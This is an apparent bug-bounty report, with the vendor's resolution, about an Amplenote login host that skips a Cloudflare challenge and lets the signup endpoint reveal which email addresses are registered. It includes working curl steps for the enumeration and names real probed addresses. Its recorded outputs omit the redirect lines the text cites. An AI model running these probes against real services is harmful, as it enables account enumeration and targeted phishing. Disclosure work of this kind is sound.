login-edge host bypasses Cloudflare challenge, enabling account enumeration

linkResolution: ☑️

Not a security vulnerability

Mitigated by rate limiting applied to page


Enabling Cloudflare challenge, for parity with login.amplenote.com


linkReport

Title: login-edge host bypasses Cloudflare challenge, enabling account enumeration
Severity: Medium
CVSS: 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
Endpoint: https://login-edge.amplenote.com/signup
 
Summary
-------
The primary authentication host (login.amplenote.com) is protected by a Cloudflare
managed challenge (Turnstile) that gates every authentication route (login, signup,
password reset, OAuth authorize) to stop automated abuse. The sibling origin host
login-edge.amplenote.com serves the identical Rails/Doorkeeper authentication origin
(x-render-origin-server: Render) but is NOT covered by that managed-challenge rule, so
the challenge is fully bypassed. Because the raw authentication endpoints are then
reachable by an automated client, the signup endpoint's response differential leaks
whether an arbitrary email address is registered: a request for an existing account
redirects to /login, while a request for a new address redirects to /profile. This
permits enumeration of registered user accounts, and removes the designed anti-automation
control from the signup / login / password-reset surface.
 
Steps to Reproduce
------------------
1. Confirm the primary host enforces the Cloudflare managed challenge on an auth route:
 
curl -s -o /dev/null -w "%{http_code}\n" \
"https://login.amplenote.com/login?client_id=c9860d38b0df2b7c3aad2e3645eca41355e6ff31e147f90f889d7f8394b59418&response_type=code&redirect_uri=https%3A%2F%2Fwww.amplenote.com%2Flogin%2Fcallback&scope=notes:read&state=x"
 
Response: 403, body is the Cloudflare "Just a moment..." interstitial
(cType:'managed', challenges.cloudflare.com). Automated access is blocked here.
 
2. Request the identical route on the sibling origin host login-edge.amplenote.com.
The real Rails login/authorize page is returned with no challenge:
 
curl -s "https://login-edge.amplenote.com/login?client_id=c9860d38b0df2b7c3aad2e3645eca41355e6ff31e147f90f889d7f8394b59418&response_type=code&redirect_uri=https%3A%2F%2Fwww.amplenote.com%2Flogin%2Fcallback&scope=notes:read&state=x" | grep -o "<title>[^<]*</title>"
 
Response: 200, <title>Amplenote - Login</title> (server: cloudflare,
x-render-origin-server: Render). The full email/password form and Google/Apple
sign-in are served directly, with no Turnstile.
 
3. Establish the OAuth session context, then submit the signup endpoint with an
EXISTING address (the redirect target is the enumeration oracle):
 
# establish session context
curl -s -c j -b j "https://login-edge.amplenote.com/login?client_id=c9860d38b0df2b7c3aad2e3645eca41355e6ff31e147f90f889d7f8394b59418&response_type=code&redirect_uri=https%3A%2F%2Fwww.amplenote.com%2Flogin%2Fcallback&scope=notes:read&state=x" -o /dev/null
 
# probe an existing account
curl -s -b j -o /dev/null -D - \
--data-urlencode "email=support@amplenote.com" \
--data-urlencode "password=Xx12345678Zz" \
--data-urlencode "timezone_offset=0" \
"https://login-edge.amplenote.com/signup" | grep -i "^location"
 
Response for a REGISTERED address:
HTTP/2 303
 
4. Repeat step 3 with a NEW (unregistered) address:
 
curl -s -b j2 -o /dev/null -D - \
--data-urlencode "email=this-address-does-not-exist-9f2a@example.com" \
--data-urlencode "password=Xx12345678Zz" \
--data-urlencode "timezone_offset=0" \
"https://login-edge.amplenote.com/signup" | grep -i "^location"
 
Response for a NEW address:
HTTP/2 303
 
The redirect target (/login for existing vs /profile for new) reliably discloses
whether any submitted email is registered.
 
5. Demonstrated enumeration results using this oracle (each a distinct, unauthenticated
check): support@amplenote.com -> /login (registered), bill@amplenote.com -> /login
(registered), and random new addresses -> /profile (not registered). An origin-level
per-IP rate limit returns 429 after roughly four requests, but this is the only
remaining control once the Cloudflare challenge is bypassed and is defeated by IP
rotation.
 
Impact
------
An unauthenticated attacker can bypass the Cloudflare managed challenge that is intended
to protect the authentication surface, and use the signup response differential to
confirm whether specific email addresses have Amplenote accounts (demonstrated for
support@amplenote.com and the founder address bill@amplenote.com). Beyond enumeration,
bypassing the managed challenge re-enables the automated abuse the challenge exists to
prevent on this surface: scripted account creation (no captcha or email verification is
required to create a session), password-reset email flooding against a chosen victim, and
credential-stuffing groundwork. Confirmed valid account lists are the primary input to
targeted phishing and credential-stuffing campaigns.
 
Remediation
-----------
1. Apply the same Cloudflare bot-management / managed-challenge rule to the login-edge
(and any other *-edge / sibling) hostnames that terminate at the authentication
origin, or restrict those hostnames to the internal callers that require them, so the
authentication surface cannot be reached without the challenge.
2. Make the signup endpoint response uniform regardless of whether the submitted email is
already registered (identical status code and redirect for existing and new
addresses), so the endpoint cannot be used as an existence oracle.
3. Enforce anti-automation at the origin/application layer (per-account and per-IP with
rotation resistance) rather than relying solely on the edge challenge.